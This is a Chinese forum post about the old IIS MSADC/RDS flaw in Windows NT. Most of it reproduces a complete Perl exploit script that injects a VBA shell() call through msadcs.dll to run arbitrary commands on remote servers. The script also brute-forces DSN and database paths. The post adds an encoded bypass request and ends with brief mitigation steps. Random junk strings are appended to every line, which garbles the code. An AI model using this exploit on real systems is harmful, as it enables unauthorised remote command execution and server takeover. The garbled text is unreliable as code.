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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) W}5xmz  
N'g>MBdI  
涉及程序: Zy o[(`y  
Microsoft NT server <)u`~$n2  
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描述: b]x4o#t  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Pb?$t  
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详细: /4g1zrU  
如果你没有时间读详细内容的话,就删除: l y(>8F  
c:\Program Files\Common Files\System\Msadc\msadcs.dll o| #Qu8Lk  
有关的安全问题就没有了。 c )G3k/T5  
(CsD*U`h  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 qMLD)rL  
huJ&]"C  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 jg.QRny^  
关于利用ODBC远程漏洞的描述,请参看: b*`lk2oMa/  
ZaL.!g  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm KTP8?Q"n0  
"J4WzA%i  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 `-3O w[  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~y/ nlb!  
13@|w1/Z  
这里不再论述。 *g6n  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: EJsM(iG]~M  
.w0s%T,8}^  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset s;3={e.  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! M7@2^G]p  
^~3SSLS4"  
r]b_@hT',  
#将下面这段保存为txt文件,然后: "perl -x 文件名" B]uc<`f  
CE/Xfh'44  
#!perl jV4\A  
# \'|> p/5I  
# MSADC/RDS 'usage' (aka exploit) script mGJasn  
# Ib+Y~ XYR  
# by rain.forest.puppy FQqI<6;  
# D^=J|7e  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me go'-5in(  
# beta test and find errors! Mdl{}P0)  
RLLTw ?]$  
use Socket; use Getopt::Std; cNM3I,o7  
getopts("e:vd:h:XR", \%args); 4iKgg[)7`=  
X{\F;Cb*  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; OoA|8!CFa  
aFS,GiB  
if (!defined $args{h} && !defined $args{R}) { )XYv}U   
print qq~ fSs4ZXC  
Usage: msadc.pl -h <host> { -d <delay> -X -v } p$PKa.Y3  
-h <host> = host you want to scan (ip or domain) X)7x<?DAy  
-d <seconds> = delay between calls, default 1 second YbTxn="_  
-X = dump Index Server path table, if available H;YP8MoQ  
-v = verbose U$_xUG  
-e = external dictionary file for step 5 ~ xft  
Hm%;=`:'  
Or a -R will resume a command session rvnT6Ve  
A'jP7 P  
~; exit;} P] UJ0b  
"4uS3h2r  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; $`)/0{qY-  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ug+io mZ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} L#+q]j+  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 0tEYU:Qu  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} J"=vE=  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ^yyC [Mz  
?TU}~}  
if (!defined $args{R}){ $ret = &has_msadc; t.`@{R$hoA  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 9J9)AV  
fjs [f'L  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Q\ U:~g3  
. "cmd /c "; iZaI_\"__  
$in=<STDIN>; chomp $in; <gJU?$  
$command="cmd /c " . $in ; ?kB2iU_f+  
N4L|;?  
if (defined $args{R}) {&load; exit;} j( RWO  
j^^Ap  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; =jX8.K4]  
&try_btcustmr; 1:f9J  
L1Iz<>  
print "\nStep 2: Trying to make our own DSN..."; }>VG~u8  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; E#u l IgD  
}Ub6eXf(2  
print "\nStep 3: Trying known DSNs..."; %jJ>x3$F  
&known_dsn; 9hOJvQ2U]  
fO0XA"=  
print "\nStep 4: Trying known .mdbs..."; +eFFSt  
&known_mdb; 2@%$;.  
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if (defined $args{e}){ &Nczv"TM  
print "\nStep 5: Trying dictionary of DSN names..."; m0cP(  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } rzh#CnL3  
!+L/Khw/ C  
print "Sorry Charley...maybe next time?\n"; ]y,==1To  
exit; ?i06f,-  
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############################################################################## f"u%J/e&  
W!6qqi{  
sub sendraw { # ripped and modded from whisker .)<(Oj|4  
sleep($delay); # it's a DoS on the server! At least on mine... rz@=pR :  
my ($pstr)=@_; -lhLA`6_R  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || WC.t_"@  
die("Socket problems\n"); kX>f^U{j  
if(connect(S,pack "SnA4x8",2,80,$target)){ LAd\Tvms  
select(S); $|=1; ,0hA'cp  
print $pstr; my @in=<S>; JWMpPzs  
select(STDOUT); close(S); jC7&s$>Q"g  
return @in; IFDZfx  
} else { die("Can't connect...\n"); }} AO=h 23ZI  
*T~Ve;3h;  
############################################################################## }MHCd)78b  
mw='dFt  
sub make_header { # make the HTTP request $ep.-I>  
my $msadc=<<EOT O }(VlR2  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ^V#@QPK9  
User-Agent: ACTIVEDATA 6bBB/yd  
Host: $ip t=-SH^$SR  
Content-Length: $clen |=$-Wu  
Connection: Keep-Alive +eX@U;J,g  
qeL5D*  
ADCClientVersion:01.06 .R9IL-3fO  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ?ON-+u  
!-,t'GF(  
--!ADM!ROX!YOUR!WORLD! Z| V`B `  
Content-Type: application/x-varg EpFQ|.mQ  
Content-Length: $reqlen 8[J}CdS  
Um: Hrjw  
EOT dO4{|(z  
; $msadc=~s/\n/\r\n/g; AiK  
return $msadc;} aEWWFN  
CC@.MA@9N  
############################################################################## ?_Q/}@`  
&9"-`-[e:  
sub make_req { # make the RDS request Hrzf'a|^  
my ($switch, $p1, $p2)=@_; >&p0d0  
my $req=""; my $t1, $t2, $query, $dsn; 5JLu2P  
#:^YI c  
if ($switch==1){ # this is the btcustmr.mdb query -$WYj "  
$query="Select * from Customers where City=" . make_shell(); l?Fb ='#  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . @ )-$kk*  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} &d5ia+ #  
<~n$1aA  
elsif ($switch==2){ # this is general make table query GF5^\Rf  
$query="create table AZZ (B int, C varchar(10))"; E5N{j4\F  
$dsn="$p1";} QNxl/y\l0  
$.GOZqMs  
elsif ($switch==3){ # this is general exploit table query ;Hj~n+  
$query="select * from AZZ where C=" . make_shell(); bf!M#QOk?  
$dsn="$p1";} H)>;/#!r-  
sH?/E6  
elsif ($switch==4){ # attempt to hork file info from index server Ldl 5zc  
$query="select path from scope()"; y !!E\b=  
$dsn="Provider=MSIDXS;";} V`7FKL@"  
^pe{b9c  
elsif ($switch==5){ # bad query  R#DwF,  
$query="select"; 5GPo*Qpl  
$dsn="$p1";} 8G5m{XTS(  
e&qh9mlE  
$t1= make_unicode($query); ^4`Px/&  
$t2= make_unicode($dsn); aBw2f[mo  
$req = "\x02\x00\x03\x00"; * C6a?]  
$req.= "\x08\x00" . pack ("S1", length($t1)); rn=m\Gv e  
$req.= "\x00\x00" . $t1 ; 'qF#<1&  
$req.= "\x08\x00" . pack ("S1", length($t2)); `A,g] 1C:  
$req.= "\x00\x00" . $t2 ; A%{W{UP8N  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; |R#"Th6mH!  
return $req;} n Ml%'[u  
nYa*b=[.  
############################################################################## -atGlu2  
^+m+zd_  
sub make_shell { # this makes the shell() statement !Wy[).ZAf  
return "'|shell(\"$command\")|'";} O=dJi9;`#_  
}LijnHH.  
############################################################################## LI6hE cM=  
Wf&W^Q  
sub make_unicode { # quick little function to convert to unicode )h8\u_U  
my ($in)=@_; my $out; =pk)3<GwF  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } <@Fy5k-%.  
return $out;} 't9hXzAfW  
D.1J_Y=9  
############################################################################## o,!T2&}  
eU N"w,@y  
sub rdo_success { # checks for RDO return success (this is kludge) C$@yG)Pj   
my (@in) = @_; my $base=content_start(@in); 3,Q^& 1  
if($in[$base]=~/multipart\/mixed/){ #zR bx  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} sqS=qC  
return 0;} XxaGp95so  
~35U]s@v  
############################################################################## /2HN>{F^Y  
?l$Nf@-  
sub make_dsn { # this makes a DSN for us 7zv1 wb  
my @drives=("c","d","e","f"); viAMr"z  
print "\nMaking DSN: "; jOyvDY9\  
foreach $drive (@drives) { PGARXw+  
print "$drive: ";  ^_%kE%I  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . F1Hh7 F  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" N?m0US u*  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); if]Noe  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 4L73]3&  
return 0 if $2 eq "404"; # not found/doesn't exist bug Ot7  
if($2 eq "200") { -Z?Vd!H:  
foreach $line (@results) { bQZ*r{g  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 0^8)jpL$<9  
} return 0;} W(Uu@^  
4#'(" #R  
############################################################################## |K^"3`SJ  
H-xFiF  
sub verify_exists { W7\&~IWub  
my ($page)=@_; Cb_oS4vM  
my @results=sendraw("GET $page HTTP/1.0\n\n"); \AC|?/sH  
return $results[0];} >R2SQA o  
d|*"IFe  
############################################################################## CY& hIh~S@  
<uc1D/~^:  
sub try_btcustmr { ej O}t:}P  
my @drives=("c","d","e","f"); zP;cTF(C  
my @dirs=("winnt","winnt35","winnt351","win","windows"); )Y8",Ig  
ZJjTzEV%^B  
foreach $dir (@dirs) { {h KjD"?  
print "$dir -> "; # fun status so you can see progress ?9X&tK)E-  
foreach $drive (@drives) { ne>g?"Pex{  
print "$drive: "; # ditto wCHR7X0*b  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; thqS*I'#g  
$reqlenlen=length( "$reqlen" ); NKmoG\*  
$clen= 206 + $reqlenlen + $reqlen; R+~cl;#G6  
Fbp{,V@F2  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); w?,M}=vg  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Y=T'WNaL)0  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} }rdIUlVO\  
c0Dmq)HK?  
############################################################################## \)48904^  
olW|$?  
sub odbc_error { HSIvWhg?p  
my (@in)=@_; my $base; s ncIqsZ  
my $base = content_start(@in); 34QfgMyH  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this dk==?  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; T'fcc6D5p  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =5s F"L;b  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9F^;!  
return $in[$base+4].$in[$base+5].$in[$base+6];} sIl33kmv  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; f2,1<^{  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . XIWm>IQ[)  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} o."rxd  
;_:Ool,  
############################################################################## sK 2 e&  
9%IlW  
sub verbose { #2:a[ ~Lf  
my ($in)=@_; vLO&Lpv  
return if !$verbose; rz(0:vxwA  
print STDOUT "\n$in\n";} ?v-1zCls  
m4[g6pNx~  
############################################################################## ? /JBt /b  
Fn^C{p^  
sub save { >bUj *#<  
my ($p1, $p2, $p3, $p4)=@_; - /c7n F  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 9Z6C8J v  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; dP>w/$C}  
close OUT;} ba3-t;S  
ba@=^Fa;  
############################################################################## 7rHS^8'H&  
p$k\m|t  
sub load { x>~p;z#VX  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; SLhEc  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); !D o,>gO  
@p=<IN>; close(IN); ap}5ElMR  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); MbXq`%  
$target= inet_aton($ip) || die("inet_aton problems"); m/`IGT5J  
print "Resuming to $ip ..."; f '6|OsVQ  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 5v^L9!`@%v  
if($p[1]==1) { (XH2Sy  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; )uLr?$qe  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 9B +wYJp  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); M)cGz$Q|  
if (rdo_success(@results)){print "Success!\n";} nVD Xj  
else { print "failed\n"; verbose(odbc_error(@results));}} T!Sj<,r+j  
elsif ($p[1]==3){ vRPS4@9'  
if(run_query("$p[3]")){  .~}z4r  
print "Success!\n";} else { print "failed\n"; }} j|e[s ? d  
elsif ($p[1]==4){ QT#6'>&7-b  
if(run_query($drvst . "$p[3]")){ nB5Am^bP  
print "Success!\n"; } else { print "failed\n"; }} H0*5_OJ!i  
exit;} dZGbC9  
MF[z -7  
############################################################################## j K8'T_Pah  
V8O.3fo`[`  
sub create_table { &!35/:~uD  
my ($in)=@_; 4B?!THjk  
$reqlen=length( make_req(2,$in,"") ) - 28; #\bP7a +  
$reqlenlen=length( "$reqlen" ); >m_v5K  
$clen= 206 + $reqlenlen + $reqlen; &2EBk=X  
my @results=sendraw(make_header() . make_req(2,$in,"")); yoqa@V  
return 1 if rdo_success(@results); ODf4+& u  
my $temp= odbc_error(@results); verbose($temp); 0p fnV%  
return 1 if $temp=~/Table 'AZZ' already exists/; 2:$ k  
return 0;} !5x Ly6=}  
S)%_weLW7  
############################################################################## A6ewdT?>,  
,f: jioY  
sub known_dsn { z#<P} }  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go oj}"H>tTp  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", v\ZBv zd  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", zzvlI66e  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); |ZU#IQVQfn  
S*%iiD)  
foreach $dSn (@dsns) { uC~g#[I QM  
print "."; m%QqmTH  
next if (!is_access("DSN=$dSn")); |ia@,*KD  
if(create_table("DSN=$dSn")){ r9ke,7?  
print "$dSn successful\n"; 6kvV  
if(run_query("DSN=$dSn")){ hbuZaxo<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { dyQh:u -  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 4Y tk!oS`  
!W1eUY  
############################################################################## Xy#V Q{!  
JZ`L%  
sub is_access { .#^0pv!  
my ($in)=@_; dDKqq(9(`  
$reqlen=length( make_req(5,$in,"") ) - 28; 8U.$FMx :  
$reqlenlen=length( "$reqlen" ); za,2r^  
$clen= 206 + $reqlenlen + $reqlen; Q2C)tVK+  
my @results=sendraw(make_header() . make_req(5,$in,"")); !Y;<:zx5  
my $temp= odbc_error(@results); )-&nxOP  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); >,h1N$A+  
return 0;}  SNvb1&  
F>:%Cyo0!  
############################################################################## 7tH]*T9e>  
CKTrZxR"  
sub run_query { qmmv7==  
my ($in)=@_; BV9*s  
$reqlen=length( make_req(3,$in,"") ) - 28; Xa`(;CLW?  
$reqlenlen=length( "$reqlen" ); xaXV ^ZM3  
$clen= 206 + $reqlenlen + $reqlen; = cfm=+  
my @results=sendraw(make_header() . make_req(3,$in,"")); @)sc6 *lnW  
return 1 if rdo_success(@results); $ u2Cd4  
my $temp= odbc_error(@results); verbose($temp); FU@uH U5fd  
return 0;} :$"7-a %f  
R'EW7}&  
############################################################################## TC-f%1(  
ItK  
sub known_mdb { X*Z5 P  
my @drives=("c","d","e","f","g"); 1<uwU(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); B- Y+F  
my $dir, $drive, $mdb; 'TEyP56  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; R}J-nJlb  
'yNPhI  
# this is sparse, because I don't know of many J>v$2?w`w  
my @sysmdbs=( "\\catroot\\icatalog.mdb", >rwYDT#m]  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Js}tZ\+P75  
"\\system32\\certmdb.mdb", 0|2%#  E  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% J1-):3A  
>=!AL,:  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ?;8M^a/  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 6=>7M b$  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",  ,o&<WMD  
"\\cfusion\\cfapps\\security\\realm_.mdb", 96W4 c]NT  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", |h1^G v  
"\\cfusion\\database\\cfexamples.mdb", a!.!2a&t  
"\\cfusion\\database\\cfsnippets.mdb", ;4d.)-<No_  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", *IlQ5+3I  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ?1m ,SK  
"\\cfusion\\brighttiger\\database\\cleam.mdb", }W "(c YN_  
"\\cfusion\\database\\smpolicy.mdb", v:P!(`sF  
"\\cfusion\\database\cypress.mdb", i$#,XFFp~  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", TczXHT}G  
"\\website\\cgi-win\\dbsample.mdb", GUCM4jVT^  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", %)IrXz>Zh  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" mcMb*?]  
); #these are just A*Q[k 9B  
foreach $drive (@drives) { -HTL5  
foreach $dir (@dirs){ z1vni'%J  
foreach $mdb (@sysmdbs) { 4 ? {*(  
print "."; -~'kP /E^  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ s<{GpWT8  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; zMU68vwM  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Orc>.~+f%A  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; {@\/a  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 2$ VTu+  
Wy)('EM  
foreach $drive (@drives) { )tPl<lb  
foreach $mdb (@mdbs) { ?W<cB`J  
print "."; Y?.gfEXSQo  
if(create_table($drv . $drive . $dir . $mdb)){ #! @m y  
print "\n" . $drive . $dir . $mdb . " successful\n"; <W|1<=z(  
if(run_query($drv . $drive . $dir . $mdb)){ ,$i<@2/=m  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; {Vl"m 2  
} else { print "Something's borked. Use verbose next time\n"; }}}} SbJh(V-pr  
} )GCLK<,swu  
Et0&E  
############################################################################## y(a}IM3~  
tnRJ#[Io  
sub hork_idx { 'WnpwY  
print "\nAttempting to dump Index Server tables...\n"; tz8t9lb[  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Ey = 4 b  
$reqlen=length( make_req(4,"","") ) - 28; coO.kTO;  
$reqlenlen=length( "$reqlen" ); #]5)]LF1q  
$clen= 206 + $reqlenlen + $reqlen; S W-0h4  
my @results=sendraw2(make_header() . make_req(4,"","")); ;Yu>82o.:  
if (rdo_success(@results)){ -~0'a  
my $max=@results; my $c; my %d; sBB:$X  
for($c=19; $c<$max; $c++){ }u7D9_KU  
$results[$c]=~s/\x00//g; &u4Ve8#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; z{V8@q/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; T;%+]:w<  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; >!G5]?taa  
$d{"$1$2"}="";} E$&;]a  
foreach $c (keys %d){ print "$c\n"; } 2E([#Pzb  
} else {print "Index server doesn't seem to be installed.\n"; }} HqDa2q4  
x[a'(5PwY  
############################################################################## 1Y2a* J  
" xxXZGUp  
sub dsn_dict { 4= $!_,.  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); tpz=} q  
while(<IN>){ ^X(_zinN"  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; [sptU3,2U  
next if (!is_access("DSN=$dSn")); TQ2i{e  
if(create_table("DSN=$dSn")){ gTyW#verh$  
print "$dSn successful\n"; sK[Nti0  
if(run_query("DSN=$dSn")){ (T;1q^j  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?bCTLt7k  
print "Something's borked. Use verbose next time\n";}}} ]N_140N~  
print "\n"; close(IN);} ?xf~!D  
aH9L|BN*  
############################################################################## )rS^F<C  
2PI #ie4  
sub sendraw2 { # ripped and modded from whisker B4 <_"0  
sleep($delay); # it's a DoS on the server! At least on mine... OT"lP(,  
my ($pstr)=@_; ~CJYQFt  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || R =QM;  
die("Socket problems\n"); 0YHYxn  
if(connect(S,pack "SnA4x8",2,80,$target)){ 3 dY6;/s  
print "Connected. Getting data"; p\)h",RkA  
open(OUT,">raw.out"); my @in; np&HEh 6  
select(S); $|=1; print $pstr; 5Wj5IS/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} >0ssza  
close(OUT); select(STDOUT); close(S); return @in; Zm5nLxM  
} else { die("Can't connect...\n"); }} ]#+5)[N$>  
<6gU2@1  
############################################################################## M`q#,Y?3^I  
J~:kuf21  
sub content_start { # this will take in the server headers uJ7,rq  
my (@in)=@_; my $c; :nTkg[49pJ  
for ($c=1;$c<500;$c++) { ud!r*E  
if($in[$c] =~/^\x0d\x0a/){ C=M?  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } &8.z$}m  
else { return $c+1; }}} l!Nvn$h m  
return -1;} # it should never get here actually AZ}%MA; q  
N/`g?B[  
############################################################################## o(BYT9|.kw  
1. xw'i  
sub funky { ~91uk3ST?  
my (@in)=@_; my $error=odbc_error(@in); wP+'04H0  
if($error=~/ADO could not find the specified provider/){ 8HB?=a2Q<'  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; >E{#HPpBi  
exit;} "F04c|oR<X  
if($error=~/A Handler is required/){ FUH *]U  
print "\nServer has custom handler filters (they most likely are patched)\n";  z, :+Oc  
exit;} $d5&~I  
if($error=~/specified Handler has denied Access/){ ]q@rGD85K  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7?)m(CFy  
exit;}} )bF)RL Z  
if\k[O 1T6  
############################################################################## 9? v)  
^D0/H N   
sub has_msadc { p3i qW,[@  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ;o&_:]S  
my $base=content_start(@results); I]s:Ev[~  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); r(748Qc4f?  
return 0;} ,2Sv1v$  
7ZrJ#n8?ih  
######################## 8j({=xbg&  
?yda.<"g9Y  
#IcT @(  
解决方案: N}e(.  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll <PH3gyC  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 >V77X+!  
$Ykp8u,(  
拿出来充数 哈哈
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